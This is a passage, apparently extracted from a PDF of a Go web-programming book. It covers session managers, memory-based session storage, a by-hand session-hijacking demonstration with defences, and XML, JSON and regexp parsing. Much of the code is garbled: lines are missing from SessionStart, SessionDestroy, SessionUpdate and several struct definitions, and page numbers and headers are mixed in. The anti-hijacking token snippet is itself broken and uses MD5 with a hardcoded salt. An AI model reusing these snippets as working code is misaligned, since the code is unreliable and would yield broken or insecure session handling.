var provides = make(map[string]Provider)
// Register makes a session provider available by the provided name.

// If a Register is called twice with the same name or if the driver is nil,
// it panics.
func Register(name string, provider Provider) {
if provider == nil {
panic("session: Register provider is nil")
}
if _, dup := provides[name]; dup {
panic("session: Register called twice for provider " + name)
}
provides[name] = provider
}
Unique session id's

Session id's are for identifying users of web applications, so they must be unique. The following code shows how to achieve
this goal:
func (manager *Manager) sessionId() string {

b := make([]byte, 32)
if _, err := io.ReadFull(rand.Reader, b); err != nil {
return ""
}
return base64.URLEncoding.EncodeToString(b)
}
Creating a session
We need to allocate or get an existing session in order to validate user operations. The SessionStart function is for
checking the existence of any sessions related to the current user, and creating a new session if none is found.
func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {

manager.lock.Lock()
defer manager.lock.Unlock()
cookie, err := r.Cookie(manager.cookieName)
if err != nil || cookie.Value == "" {
sid := manager.sessionId()
session, _ = manager.provider.SessionInit(sid)
cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, M
axAge: int(manager.maxlifetime)}
} else {
sid, _ := url.QueryUnescape(cookie.Value)
session, _ = manager.provider.SessionRead(sid)
}
return
}
Here is an example that uses sessions for a login operation.

sess := globalSessions.SessionStart(w, r)
r.ParseForm()
w.Header().Set("Content-Type", "text/html")
t.Execute(w, sess.Get("username"))
} else {
sess.Set("username", r.Form["username"])
http.Redirect(w, r, "/", 302)
}
}
142
Operation value: set, get and delete

The SessionStart function returns a variable that implements a session interface. How do we use it?
You saw session.Get("uid") in the above example for a basic operation. Now let's examine a more detailed example.
func count(w http.ResponseWriter, r *http.Request) {

createtime := sess.Get("createtime")
if createtime == nil {
sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 360) < (time.Now().Unix()) {
globalSessions.SessionDestroy(w, r)
sess = globalSessions.SessionStart(w, r)
}
ct := sess.Get("countnum")
if ct == nil {
sess.Set("countnum", 1)
} else {
sess.Set("countnum", (ct.(int) + 1))
}
t, _ := template.ParseFiles("count.gtpl")
t.Execute(w, sess.Get("countnum"))
}
As you can see, operating on sessions simply involves using the key/value pattern in the Set, Get and Delete operations.
Because sessions have the concept of an expiry time, we define the GC to update the session's latest modify time. This
way, the GC will not delete sessions that have expired but are still being used.
Reset sessions
We know that web applications have a logout operation. When users logout, we need to delete the corresponding session.
We've already used the reset operation in above example -now let's take a look at the function body.
// Destroy sessionid
func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){
cookie, err := r.Cookie(manager.cookieName)
if err != nil || cookie.Value == "" {
return
} else {
manager.lock.Lock()
manager.provider.SessionDestroy(cookie.Value)
expiration := time.Now()
cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1
}
}
}
Delete sessions
Let's see how to let the session manager delete a session. We need to start the GC in the main() function:
143
func init() {
go globalSessions.GC()
}
func (manager *Manager) GC() {

manager.lock.Lock()
manager.provider.SessionGC(manager.maxlifetime)
time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() })
}
We see that the GC makes full use of the timer function in the time package. It automatically calls GC when the session
times out, ensuring that all sessions are usable during maxLifeTime . A similar solution can be used to count online users.
Summary
So far, we implemented a session manager to manage global sessions in the web application and defined the Provider
interface as the storage implementation of Session . In the next section, we are going to talk about how to implement
Provider for additional session storage structures, which you will be able to reference in the future.
Links
Directory
Previous section: Session and cookies
Next section: Session storage
144
Session storage
6.3 Session storage

We introduced a simple session manager's working principles in the previous section, and among other things, we defined
a session storage interface. In this section, I'm going to show you an example of a memory based session storage engine
that implements this interface. You can tailor this to other forms of session storage as well.
package memory
import (
"container/list"
"github.com/astaxie/session"
"sync"
"time"
)
var pder = &Provider{list: list.New()}
type SessionStore struct {

sid string // unique session id
timeAccessed time.Time // last access time
value map[interface{}]interface{} // session value stored inside
}
func (st *SessionStore) Set(key, value interface{}) error {

st.value[key] = value
pder.SessionUpdate(st.sid)
return nil
}
func (st *SessionStore) Get(key interface{}) interface{} {

if v, ok := st.value[key]; ok {
return v
} else {
return nil
}
return nil
}
func (st *SessionStore) Delete(key interface{}) error {

delete(st.value, key)
return nil
}
func (st *SessionStore) SessionID() string {

return st.sid
}
type Provider struct {

lock sync.Mutex // lock
sessions map[string]*list.Element // save in memory
list *list.List // gc
}
func (pder *Provider) SessionInit(sid string) (session.Session, error) {

pder.lock.Lock()
defer pder.lock.Unlock()
v := make(map[interface{}]interface{}, 0)
newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v}
element := pder.list.PushBack(newsess)
pder.sessions[sid] = element
return newsess, nil
}
func (pder *Provider) SessionRead(sid string) (session.Session, error) {

if element, ok := pder.sessions[sid]; ok {
145
Session storage
return element.Value.(*SessionStore), nil

} else {
sess, err := pder.SessionInit(sid)
return sess, err
}
return nil, nil
}
func (pder *Provider) SessionDestroy(sid string) error {

delete(pder.sessions, sid)
pder.list.Remove(element)
return nil
}
return nil
}
func (pder *Provider) SessionGC(maxlifetime int64) {

pder.lock.Lock()
for {
element := pder.list.Back()
if element == nil {
break
}
if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
pder.list.Remove(element)
delete(pder.sessions, element.Value.(*SessionStore).sid)
} else {
break
}
}
}
func (pder *Provider) SessionUpdate(sid string) error {

pder.lock.Lock()
element.Value.(*SessionStore).timeAccessed = time.Now()
pder.list.MoveToFront(element)
return nil
}
return nil
}
func init() {
pder.sessions = make(map[string]*list.Element, 0)
session.Register("memory", pder)
}
The above example implements a memory based session storage mechanism. It uses its init() function to register this
storage engine to the session manager. So how do we register this engine from our main program?
import (
"github.com/astaxie/session"
_ "github.com/astaxie/session/providers/memory"
)
We use the blank import mechanism (which will invoke the package's init() function automatically) to register this engine
to a session manager. We then use the following code to initialize the session manager:
146
Session storage
var globalSessions *session.Manager
// initialize in init() function

func init() {
globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
go globalSessions.GC()
}
Links
Directory
Previous section: How to use sessions in Go
Next section: Prevent session hijacking
147
Prevent hijack of session
6.4 Preventing session hijacking

Session hijacking is a common yet serious security threat. Clients use session id's for validation and other purposes when
communicating with servers. Unfortunately, malicious third parties can sometimes track these communications and figure
out the client session id.
In this section, we are going to show you how to hijack a session for educational purposes.
The session hijacking process

The following code is a counter for the count variable:
func count(w http.ResponseWriter, r *http.Request) {

ct := sess.Get("countnum")
if ct == nil {
sess.Set("countnum", 1)
} else {
sess.Set("countnum", (ct.(int) + 1))
}
t, _ := template.ParseFiles("count.gtpl")
t.Execute(w, sess.Get("countnum"))
}
The content of count.gtpl is as follows:
Hi. Now count:{{.}}
We can see the following content in the browser:
Figure 6.4 count in browser.
Keep refreshing until the number becomes 6, then open the browser's cookie manager (I use chrome here). You should be
able to see the following information:
Figure 6.5 cookies saved in a browser.
This step is very important: open another browser (I use firefox here), copy the URL to the new browser, open a cookie
simulator to create a new cookie and input exactly the same value as the cookie we saw in our first browser.
Figure 6.6 Simulate a cookie.
Refresh the page and you'll see the following:
Figure 6.7 hijacking the session has succeeded.
Here we see that we can hijack sessions between different browsers, and actions performed in one browser can affect the
state of a page in another browser. Because HTTP is stateless, there is no way of knowing that the session id from firefox is
simulated, and chrome is also not able to know that it's session id has been hijacked.
148
Prevent hijack of session
prevent session hijacking

cookie only and token
Through this simple example of hijacking a session, you can see that it's very dangerous because it allows attackers to do
whatever they want. So how can we prevent session hijacking?
The first step is to only set session id's in cookies, instead of in URL rewrites. Also, we should set the httponly cookie
property to true. This restricts client-side scripts from gaining access to the session id. Using these techniques, cookies
cannot be accessed by XSS and it won't be as easy as we demonstrated to get a session id from a cookie manager.
The second step is to add a token to every request. Similar to the manner in which we dealt with repeating form
submissions in previous sections, we add a hidden field that contains a token. When a request is sent to the server, we can
verify this token to prove that the request is unique.
h := md5.New()
salt:="astaxie%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{
// ask to log in
}
sess.Set("token",token)
Session id timeout
Another solution is to add a create time for every session, and to replace expired session id's with new ones. This can
prevent session hijacking under certain circumstances such as when the hijack is attempted too late.
createtime := sess.Get("createtime")
if createtime == nil {
sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
globalSessions.SessionDestroy(w, r)
sess = globalSessions.SessionStart(w, r)
}
We set a value to save the create time and check if it's expired (I set 60 seconds here). This step can often thwart session
hijacking attempts.
By combining the two solutions set out above you will be able to prevent most session hijacking attempts from succeeding.
On the one hand, session id's that are frequently reset will result in an attacker always getting expired and useless session
id's; on the other hand, by setting the httponly property on cookies and ensuring that session id's can only be passed via
cookies, all URL based attacks are mitigated. Finally, we set MaxAge=0 on our cookies, which means that the session id's
will not be saved in the browser history.
Links
Directory
Previous section: Session storage
149
Summary
6.5 Summary
In this chapter, we learned about the definition and purpose of sessions and cookies, and the relationship between the two.
Since Go doesn't support sessions in its standard library, we also designed our own session manager. We went through
everything from creating client sessions to deleting them. We then defined an interface called Provider which supports all
session storage structures. In section 6.3, we implemented a memory based session manager to persist client data across
sessions. In section 6.4, I demonstrated one way of hijacking a session. Then we looked at how to prevent your own
sessions from being hijacked. I hope that you now understand most of the working principles behind sessions so that you're
able to safely use them in your applications.
Links
Directory
Previous section: Prevent session hijacking
Next chapter: Text files
150
Text files
7 Text files
Handling text files is a big part of web development. We often need to produce or handle received text content, including
strings, numbers, JSON, XML, etc. As a high performance language, Go has good support for this in its standard library.
You'll find that these supporting libraries are just awesome, and will allow you to easily deal with any text content you may
encounter. This chapter contains 4 sections, and will give you a full introduction to text processing in Go.
XML is an interactive language that is commonly used in many APIs, many web servers written in Java use XML as their
standard interaction language. We'll more talk about XML in section 7.1. In section 7.2, we'll take a look at JSON which has
been very popular in recent years and is much more convenient than XML. In section 7.3, we are going to talk about
regular expressions which (for the majority of people) looks like a language used by aliens. In section 7.4, you will see how
the MVC pattern is used to develop applications in Go, and also how to use Go's template package for templating your
views. In section 7.5, we'll introduce you to file and folder operations. Finally, we will explain some Go string operations in
section 7.6.
Links
Directory
Next section: XML
151
XML
7.1 XML
XML is a commonly used data communication format in web services. Today, it's assuming a more and more important role
in web development. In this section, we're going to introduce how to work with XML through Go's standard library.
I will not make any attempts to teach XML's syntax or conventions. For that, please read more documentation about XML
itself. We will only focus on how to encode and decode XML files in Go.
Suppose you work in IT, and you have to deal with the following XML configuration file:
<?xml version="1.0" encoding="utf-8"?>

<servers version="1">
<server>
<serverName>Shanghai_VPN</serverName>
<serverIP>127.0.0.1</serverIP>
</server>
<server>
<serverName>Beijing_VPN</serverName>
</server>
</servers>
The above XML document contains two kinds of information about your server: the server name and IP. We will use this
document in our following examples.
Parse XML
How do we parse this XML document? We can use the Unmarshal function in Go's xml package to do this.
func Unmarshal(data []byte, v interface{}) error
the data parameter receives a data stream from an XML source, and v is the structure you want to output the parsed
XML to. It is an interface, which means you can convert XML to any structure you desire. Here, we'll only talk about how to
convert from XML to the struct type since they share similar tree structures.
Sample code:
152
XML
package main
import (
"encoding/xml"
"fmt"
"io/ioutil"
"os"
)
type Recurlyservers struct {

XMLName xml.Name `xml:"servers"`
Version string `xml:"version,attr"`
Svs []server `xml:"server"`
Description string `xml:",innerxml"`
}
type server struct {

XMLName xml.Name `xml:"server"`
ServerName string `xml:"serverName"`
ServerIP string `xml:"serverIP"`
}
func main() {
file, err := os.Open("servers.xml") // For read access.
if err != nil {
fmt.Printf("error: %v", err)
return
}
defer file.Close()
data, err := ioutil.ReadAll(file)
if err != nil {
return
}
v := Recurlyservers{}
err = xml.Unmarshal(data, &v)
if err != nil {
return
}
fmt.Println(v)
}
XML is actually a tree data structure, and we can define a very similar structure using structs in Go, then use
xml.Unmarshal to convert from XML to our struct object. The sample code will print the following content:
{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}]

<server>
</server>
<server>
</server>
}
We use xml.Unmarshal to parse the XML document to the corresponding struct object. You should see that we have
something like xml:"serverName" in our struct. This is a feature of structs called struct tags for helping with reflection.
Let's see the definition of Unmarshal again:
153
XML
The first argument is an XML data stream. The second argument is storage type and supports the struct, slice and string
types. Go's XML package uses reflection for data mapping, so all fields in v should be exported. However, this causes a
problem: how does it know which XML field corresponds to the mapped struct field? The answer is that the XML parser
parses data in a certain order. The library will try to find the matching struct tag first. If a match cannot be found then it
searches through the struct field names. Be aware that all tags, field names and XML elements are case sensitive, so you
have to make sure that there is a one-to-one correspondence for the mapping to succeed.
Go's reflection mechanism allows you to use this tag information to reflect XML data to a struct object. If you want to know
more about reflection in Go, please read the package documentation on struct tags and reflection.
Here are some rules when using the xml package to parse XML documents to structs:
If the field type is a string or []byte with the tag ",innerxml" , Unmarshal will assign raw XML data to it, like
Description in the above example:
Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2
If a field is called XMLName and its type is xml.Name , then it gets the element name, like servers in above example.
If a field's tag contains the corresponding element name, then it gets the element name as well, like servername and
serverip in the above example.
If a field's tag contains ",attr" , then it gets the corresponding element's attribute, like version in above example.
If a field's tag contains something like "a>b>c" , it gets the value of the element c of node b of node a.
If a field's tag contains "=" , then it gets nothing.
If a field's tag contains ",any" , then it gets all child elements which do not fit the other rules.
If the XML elements have one or more comments, all of these comments will be added to the first field that has the tag
that contains ",comments" . This field type can be a string or []byte. If this kind of field does not exist, all comments are
discarded.
These rules tell you how to define tags in structs. Once you understand these rules, mapping XML to structs will be as easy
as the sample code above. Because tags and XML elements have a one-to-one correspondence, we can also use slices to
represent multiple elements on the same level.
Note that all fields in structs should be exported (capitalized) in order to parse data correctly.
Produce XML
What if we want to produce an XML document instead of parsing one. How do we do this in Go? Unsurprisingly, the xml
package provides two functions which are Marshal and MarshalIndent , where the second function automatically indents
the marshalled XML document. Their definition as follows:
func Marshal(v interface{}) ([]byte, error)

func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error)
The first argument in both of these functions is for storing a marshalled XML data stream.
Let's look at an example to see how this works:
154
XML
package main
import (
"encoding/xml"
"fmt"
"os"
)
type Servers struct {

XMLName xml.Name `xml:"servers"`
Version string `xml:"version,attr"`
Svs []server `xml:"server"`
}
type server struct {

ServerName string `xml:"serverName"`
ServerIP string `xml:"serverIP"`
}
func main() {
v := &Servers{Version: "1"}
v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"})
v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"})
output, err := xml.MarshalIndent(v, " ", " ")
if err != nil {
fmt.Printf("error: %v\n", err)
}
os.Stdout.Write([]byte(xml.Header))
os.Stdout.Write(output)
}
The above example prints the following information:
<?xml version="1.0" encoding="UTF-8"?>

<servers version="1">
<server>
</server>
<server>
</server>
</servers>
As we've previously defined, the reason we have os.Stdout.Write([]byte(xml.Header)) is because both xml.MarshalIndent
and xml.Marshal do not output XML headers on their own, so we have to explicitly print them in order to produce XML
documents correctly.
Here we can see that Marshal also receives a v parameter of type interface{} . So what are the rules when marshalling
to an XML document?
If v is an array or slice, it prints all elements like a value.

If v is a pointer, it prints the content that v is pointing to, printing nothing when v is nil.
If v is a interface, it deal with the interface as well.
If v is one of the other types, it prints the value of that type.
So how does xml.Marshal decide the elements' name? It follows the ensuing rules:
If v is a struct, it defines the name in the tag of XMLName.

The field name is XMLName and the type is xml.Name.
Field tag in struct.
Field name in struct.
Type name of marshal.
155
XML
Then we need to figure out how to set tags in order to produce the final XML document.
XMLName will not be printed.

Fields that have tags containing "-" will not be printed.
If a tag contains "name,attr" , it uses name as the attribute name and the field value as the value, like version in the
above example.
If a tag contains ",attr" , it uses the field's name as the attribute name and the field value as its value.
If a tag contains ",chardata" , it prints character data instead of element.
If a tag contains ",innerxml" , it prints the raw value.
If a tag contains ",comment" , it prints it as a comment without escaping, so you cannot have "--" in its value.
If a tag contains "omitempty" , it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface,
zero length of array, slice, map and string.
If a tag contains "a>b>c" , it prints three elements where a contains b and b contains c, like in the following code:
``xml FirstName string xml:"name>first" LastName string xml:"name>last"`
Asta
Xie </name> ``` You may have noticed that struct tags are very useful for dealing with XML, and the same goes for the
other data formats we'll be discussing in the following sections. If you still find that you have problems with working with
struct tags, you should probably read more documentation about them before diving into the next section.
Links
Directory
Previous section: Text files
Next section: JSON
156
JSON
7.2 JSON
JSON (JavaScript Object Notation) is a lightweight data exchange language which is based on text description. Its
advantages include being self-descriptive, easy to understand, etc. Even though it is a subset of JavaScript, JSON uses a
different text format, the result being that it can be considered as an independent language. JSON bears similarity to C-
family languages.
The biggest difference between JSON and XML is that XML is a complete markup language, whereas JSON is not. JSON
is smaller and faster than XML, therefore it's much easier and quicker to parse in browsers, which is one of the reasons
why many open platforms choose to use JSON as their data exchange interface language.
Since JSON is becoming more and more important in web development, let's take a look at the level of support Go has for
JSON. You'll find that Go's standard library has very good support for encoding and decoding JSON.
Here we use JSON to represent the example in the previous section:
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]
}
The rest of this section will use this JSON data to introduce JSON concepts in Go.
Parse JSON
Parse to struct
Suppose we have the JSON in the above example. How can we parse this data and map it to a struct in Go? Go provides
the following function for just this purpose:
We can use this function like so:
package main
import (
"encoding/json"
"fmt"
)
type Server struct {

ServerName string
ServerIP string
}
type Serverslice struct {

Servers []Server
}
func main() {
var s Serverslice
str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"
127.0.0.2"}]}`
json.Unmarshal([]byte(str), &s)
fmt.Println(s)
}
157
JSON
In the above example, we defined a corresponding structs in Go for our JSON, using slice for an array of JSON objects and
field name as our JSON keys. But how does Go know which JSON object corresponds to which specific struct filed?
Suppose we have a key called Foo in JSON. How do we find its corresponding field?
First, Go tries to find the (capitalised) exported field whose tag contains Foo .
If no match can be found, look for the field whose name is Foo .
If there are still not matches look for something like FOO or FoO , ignoring case sensitivity.
You may have noticed that all fields that are going to be assigned should be exported, and Go only assigns fields that can
be found, ignoring all others. This can be useful if you need to deal with large chunks of JSON data but you only a specific
subset of it; the data you don't need can easily be discarded.
Parse to interface
When we know what kind of JSON to expect in advance, we can parse it to a specific struct. But what if we don't know?
We know that an interface{} can be anything in Go, so it is the best container to save our JSON of unknown format. The
JSON package uses map[string]interface{} and []interface{} to save all kinds of JSON objects and arrays. Here is a
list of JSON mapping relations:
bool represents JSON booleans ,
float64 represents JSON numbers ,
string represents JSON strings ,
nil represents JSON null .
Suppose we have the following JSON data:
b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
Now we parse this JSON to an interface{}:
var f interface{}
err := json.Unmarshal(b, &f)
The f stores a map, where keys are strings and values are interface{}'s'.
f = map[string]interface{}{
"Name": "Wednesday",
"Age": 6,
"Parents": []interface{}{
"Gomez",
"Morticia",
},
}
So, how do we access this data? Type assertion.
m := f.(map[string]interface{})
After asserted, you can use the following code to access data:
158
JSON
for k, v := range m {
switch vv := v.(type) {
case string:
fmt.Println(k, "is string", vv)
case int:
fmt.Println(k, "is int", vv)
case float64:
fmt.Println(k,"is float64",vv)
case []interface{}:
fmt.Println(k, "is an array:")
for i, u := range vv {
fmt.Println(i, u)
}
default:
fmt.Println(k, "is of a type I don't know how to handle")
}
}
As you can see, we can now parse JSON of an unknown format through interface{} and type assertion.
The above example is the official solution, but type asserting is not always convenient. So, I recommend an open source
project called simplejson , created and maintained by bitly. Here is an example of how to use this project to deal with
JSON of an unknown format:
js, err := NewJson([]byte(`{

"test": {
"array": [1, "2", 3],
"int": 10,
"float": 5.150,
"bignum": 9223372036854775807,
"string": "simplejson",
"bool": true
}
}`))
arr, _ := js.Get("test").Get("array").Array()
i, _ := js.Get("test").Get("int").Int()
ms := js.Get("test").Get("string").MustString()
It's not hard to see how convenient this is. Check out the repository to see more information: https://github.com/bitly/go-
simplejson.
Producing JSON
In many situations, we need to produce JSON data and respond to clients. In Go, the JSON package has a function called
Marshal to do just that:
func Marshal(v interface{}) ([]byte, error)
Suppose we need to produce a server information list. We have following sample:
159
JSON
package main
import (
"encoding/json"
"fmt"
)

ServerName string
ServerIP string
}

Servers []Server
}
func main() {
var s Serverslice
s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
b, err := json.Marshal(s)
if err != nil {
fmt.Println("json err:", err)
}
fmt.Println(string(b))
}
Output:
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]
}
As you know, all field names are capitalized, but if you want your JSON key names to start with a lower case letter, you
should use struct tag s. Otherwise, Go will not produce data for internal fields.

ServerName string `json:"serverName"`
ServerIP string `json:"serverIP"`
}

Servers []Server `json:"servers"`
}
After this modification, we can produce the same JSON data as before.
Here are some points you need to keep in mind when trying to produce JSON:
Field tags containing "-" will not be outputted.

If a tag contains a customized name, Go uses this instead of the field name, like serverName in the above example.
If a tag contains omitempty , this field will not be outputted if it is zero-value.
If the field type is bool , string, int, int64 , etc, and its tag contains ",string" , Go converts this field to its
corresponding JSON type.
Example:
160
JSON

// ID will not be outputed.
ID int `json:"-"`
// ServerName2 will be converted to JSON type.

ServerName string `json:"serverName"`
ServerName2 string `json:"serverName2,string"`
// If ServerIP is empty, it will not be outputted.

ServerIP string `json:"serverIP,omitempty"`
}
s := Server {
ID: 3,
ServerName: `Go "1.0" `,
ServerName2: `Go "1.0" `,
ServerIP: ``,
}
b, _ := json.Marshal(s)
os.Stdout.Write(b)
Output:
{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}
The Marshal function only returns data when it has succeeded, so here are some points we need to keep in mind:
JSON only supports strings as keys, so if you want to encode a map, its type has to be map[string]T , where T is the
type in Go.
Types like channel, complex types and functions are not capable of being encoded to JSON.
Do not try to encode cyclic data, it leads to an infinite recursion.
If the field is a pointer, Go outputs the data that it points to, or else outputs null if it points to nil.
In this section, we introduced how to decode and encode JSON data in Go. We also looked at one third-party project called
simplejson which is useful for parsing JSON or unknown format. These are all useful concepts for developing web
applications in Go.
Links
Directory
Previous section: XML
Next section: Regexp
161
Regexp
7.3 Regexp
Regular Expressions ("Regexp") is a complicated but powerful tool for pattern matching and text manipulation. Although it
does not perform as well as pure text matching, it's more flexible. Based on its syntax, you can filter almost any kind of text
from your source content. If you need to collect data in web development, it's not difficult to use Regexp to retrieve
meaningful data.
Go has the regexp package, which provides official support for regexp. If you've already used regexp in other
programming languages, you should be familiar with it. Note that Go implemented RE2 standard except for \C . For more
details, follow this link: http://code.google.com/p/re2/wiki/Syntax.
Go's strings package can actually do many jobs like searching (Contains, Index), replacing (Replace), parsing (Split,
Join), etc., and it's faster than Regexp. However, these are all trivial operations. If you want to search a case insensitive
string, Regexp should be your best choice. So, if the strings package is sufficient for your needs, just use it since it's
easy to use and read; if you need to perform more advanced operations, use Regexp.
If you recall form validation from previous sections, we used Regexp to verify the validity of user input information. Be
aware that all characters are UTF-8. Let's learn more about the Go regexp package!
Match
The regexp package has 3 functions to match: if it matches a pattern, then it returns true, returning false otherwise.
func Match(pattern string, b []byte) (matched bool, error error)

func MatchReader(pattern string, r io.RuneReader) (matched bool, error error)
func MatchString(pattern string, s string) (matched bool, error error)
All 3 functions check if pattern matches the input source, returning true if it matches. However if your Regex has syntax
errors, it will return an error. The 3 input sources of these functions are slice of byte , RuneReader and string .
Here is an example of how to verify an IP address:
func IsIP(ip string) (b bool) {

if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {
return false
}
return true
}
As you can see, using pattern in the regexp package is not that different. Here's one more example on verifying whether
user input is valid:
func main() {
if len(os.Args) == 1 {
fmt.Println("Usage: regexp [string]")
os.Exit(1)
} else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {
fmt.Println("Number")
} else {
fmt.Println("Not number")
}
}
In the above examples, we use Match(Reader|String) to check if content is valid, but they are all easy to use.
162
Regexp
Filter
Match mode can verify content but it cannot cut, filter or collect data from it. If you want to do that, you have to use the
complex mode of Regexp.
Let's say we need to write a crawler. Here is an example for when you must use Regexp to filter and cut data.
package main
import (
"fmt"
"io/ioutil"
"net/http"
"regexp"
"strings"
)
func main() {
resp, err := http.Get("http://www.baidu.com")
if err != nil {
fmt.Println("http get error.")
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println("http read error")
return
}
src := string(body)
// Convert HTML tags to lower case.

re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")
src = re.ReplaceAllStringFunc(src, strings.ToLower)
// Remove STYLE.
re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
src = re.ReplaceAllString(src, "")
// Remove SCRIPT.
re, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")
src = re.ReplaceAllString(src, "")
// Remove all HTML code in angle brackets, and replace with newline.
re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")
src = re.ReplaceAllString(src, "\n")
// Remove continuous newline.

re, _ = regexp.Compile("\\s{2,}")
src = re.ReplaceAllString(src, "\n")
fmt.Println(strings.TrimSpace(src))
}
In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then
returns a Regexp for parsing content in other operations.
Here are some functions to parse your Regexp syntax:
func Compile(expr string) (*Regexp, error)

func CompilePOSIX(expr string) (*Regexp, error)
func MustCompile(str string) *Regexp
func MustCompilePOSIX(str string) *Regexp
163
Regexp
The difference between ComplePOSIX and Compile is that the former has to use POSIX syntax which is leftmost longest
search, and the latter is only leftmost search. For instance, for Regexp [a-z]{2,4} and content "aa09aaa88aaaa" ,
CompilePOSIX returns aaaa but Compile returns aa . Must prefix means panic when the Regexp syntax is not correct,
returning error otherwise.
Now that we know how to create a new Regexp, let's see how the methods provided by this struct can help us to operate
on content:
func (re *Regexp) Find(b []byte) []byte

func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllString(s string, n int) []string
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int)
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int
func (re *Regexp) FindString(s string) string
func (re *Regexp) FindStringIndex(s string) (loc []int)
func (re *Regexp) FindStringSubmatch(s string) []string
func (re *Regexp) FindStringSubmatchIndex(s string) []int
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int
These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can
really simplify this list by ignoring input sources as follows:
func (re *Regexp) Find(b []byte) []byte

func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int
Code sample:
164
Regexp
package main
import (
"fmt"
"regexp"
)
func main() {
a := "I am learning Go language"
re, _ := regexp.Compile("[a-z]{2,4}")
// Find the first match.

one := re.Find([]byte(a))
fmt.Println("Find:", string(one))
// Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it'
s greater than 0.
all := re.FindAll([]byte(a), -1)
fmt.Println("FindAll", all)
// Find index of first match, start and end position.

index := re.FindIndex([]byte(a))
fmt.Println("FindIndex", index)
// Find index of all matches, the n does same job as above.

allindex := re.FindAllIndex([]byte(a), -1)
fmt.Println("FindAllIndex", allindex)
re2, _ := regexp.Compile("am(.*)lang(.*)")
// Find first submatch and return array, the first element contains all elements, the second element contains the
result of first (), the third element contains the result of second ().
// Output:
// the first element: "am learning Go language"
// the second element: " learning Go ", notice spaces will be outputed as well.
// the third element: "uage"
submatch := re2.FindSubmatch([]byte(a))
fmt.Println("FindSubmatch", submatch)
for _, v := range submatch {
fmt.Println(string(v))
}
// Same as FindIndex().
submatchindex := re2.FindSubmatchIndex([]byte(a))
fmt.Println(submatchindex)
// FindAllSubmatch, find all submatches.

submatchall := re2.FindAllSubmatch([]byte(a), -1)
fmt.Println(submatchall)
// FindAllSubmatchIndex,find index of all submatches.

submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1)
fmt.Println(submatchallindex)
}
As we've previously mentioned, Regexp also has 3 methods for matching. They do the exact same thing as the exported
functions. In fact, those exported functions actually call these methods under the hood:
func (re *Regexp) Match(b []byte) bool

func (re *Regexp) MatchReader(r io.RuneReader) bool
func (re *Regexp) MatchString(s string) bool
Next, let's see how to replace strings using Regexp:
165
Regexp
func (re *Regexp) ReplaceAll(src, repl []byte) []byte

func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string
func (re *Regexp) ReplaceAllString(src, repl string) string
